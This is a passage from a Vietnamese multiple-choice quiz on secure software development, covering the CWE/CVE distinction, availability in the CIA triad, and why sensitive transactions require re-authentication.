• B. CWE: danh sách các điểm yếu/lỗi trong code (loại lỗ hổng, ví dụ: SQL Injection là một loại CWE); CVE: danh sách các lỗ hổng cụ thể đã được tìm thấy trong phần mềm thực tế
• C. CVE do OWASP quản lý, CWE do NIST quản lý
• D. CWE cho hardware, CVE cho software

Câu 54. Trong quy trình Security Requirements, câu hỏi “Hệ thống cần đảm bảo tính sẵn sàng ở mức độ nào (99.9%, 99.99%…)?” liên quan đến yếu tố nào trong CIA?

• A. Confidentiality
• B. Integrity
• C. Availability
• D. Authentication

Câu 55. Tại sao cần “Re-authentication for Transactions” trong Secure Design?

• A. Để kiểm tra mật khẩu không bị quên
• B. Để xác nhận người đang thực hiện giao dịch quan trọng chính là chủ tài khoản (ngăn CSRF và session hijacking cho giao dịch nhạy cảm)
• C. Vì session tự động hết hạn sau mỗi giao dịch
• D. Để tăng tốc độ xử lý giao dịch